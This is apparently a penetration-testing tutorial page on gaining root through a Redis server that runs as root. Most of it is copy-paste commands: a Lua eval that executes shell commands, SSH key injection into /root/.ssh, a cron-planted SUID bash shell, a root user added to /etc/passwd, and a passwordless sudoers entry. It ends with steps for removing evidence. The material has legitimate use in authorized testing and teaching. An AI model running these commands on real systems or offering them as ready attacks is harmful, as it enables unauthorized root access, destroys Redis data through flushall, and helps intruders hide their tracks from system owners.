Skip to content
HackIndex logo

HackIndex

Redis Running as Root – Privilege Escalation via File Write

4 min read Mar 14, 2026

When Redis runs as root, every CONFIG SET dir + BGSAVE write lands on disk as a root-owned file. From a low-privilege shell on the same machine — or from direct Redis access — this means you can write to any path on the filesystem: /root/.ssh/, /etc/cron.d/, /etc/passwd, SUID binary locations, or sudoers. Each is an independent path to a root shell.

Confirming Redis Runs as Root

From any shell on the target:

┌──(kali㉿kali)-[~]
└─$ ps aux | grep redis

If the USER column shows root, proceed. If it shows redis or another user, the write paths are still valuable but limited to that user's permissions.

From Redis directly (requires Lua or a shell write trick):

┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

Output showing uid=0(root) confirms root execution.

Confirming CONFIG Write Access

┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config get dir

Must return a path, not an error.

Technique 1 – SSH Key Injection to /root/.ssh

The cleanest and most persistent path. Full walkthrough at https://hackindex.io/services/redis/exploitation/rce-ssh-key — the same technique applies here since Redis runs as root.

Quick steps:

┌──(kali㉿kali)-[~]
└─$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/key_payload.txt
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ cat /tmp/key_payload.txt | redis-cli -h 127.0.0.1 -p 6379 -x set sshkey
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dir /root/.ssh
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dbfilename authorized_keys
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 bgsave
┌──(kali㉿kali)-[~]
└─$ ssh -i ~/.ssh/id_rsa [email protected]

Technique 2 – Write a SUID Bash Copy

Write a C program that copies /bin/bash to a SUID root binary, then compile and execute it via any shell access.

From your foothold shell, create the payload:

/tmp/suid.c

#include <stdlib.h>
int main() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");
    return 0;
}
┌──(kali㉿kali)-[~]
└─$ gcc /tmp/suid.c -o /tmp/suid

But this requires executing the compiled binary as root. A simpler direct path: use the Redis write to put a SUID shell directly.

Write a SUID shell payload via Redis. This requires writing a binary — use the cron technique instead to execute a SUID setup command as root:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 set payload $'\n\n* * * * * root cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n\n'
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dir /etc/cron.d
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dbfilename setuid
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 bgsave

Wait for cron to fire (up to 60 seconds), then:

┌──(kali㉿kali)-[~]
└─$ /tmp/rootbash -p

-p preserves the SUID effective UID. You get a root shell.

Technique 3 – Write to /etc/passwd

Add a root-level user with a known password hash directly to /etc/passwd. Generate a password hash:

┌──(kali㉿kali)-[~]
└─$ openssl passwd -1 -salt xyz hacked123

Sample output: $1$xyz$abc123...

Write the new user entry:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 set payload $'\n\nhacked:$1$xyz$HASH:0:0:root:/root:/bin/bash\n\n'
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dir /etc
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dbfilename passwd
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 bgsave

Switch to the new user:

┌──(kali㉿kali)-[~]
└─$ su hacked

Technique 4 – Sudoers Write

Write a sudoers entry that gives your current user passwordless sudo:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 set payload $'\n\n$USER ALL=(ALL) NOPASSWD: ALL\n\n'
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dir /etc/sudoers.d
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dbfilename redis-nopasswd
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 bgsave

Then:

┌──(kali㉿kali)-[~]
└─$ sudo -l
┌──(kali㉿kali)-[~]
└─$ sudo /bin/bash

Writing to /etc/sudoers.d/ is safer than overwriting /etc/sudoers directly — individual files in that directory are included automatically and a bad file does not corrupt the whole sudoers config.

Clean Up

After escalating, restore the Redis config and remove evidence:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dir /var/lib/redis
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 config set dbfilename dump.rdb
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h 127.0.0.1 -p 6379 bgsave
┌──(kali㉿kali)-[~]
└─$ rm /etc/sudoers.d/redis-nopasswd
┌──(kali㉿kali)-[~]
└─$ rm /etc/cron.d/setuid
┌──(kali㉿kali)-[~]
└─$ rm /tmp/rootbash

References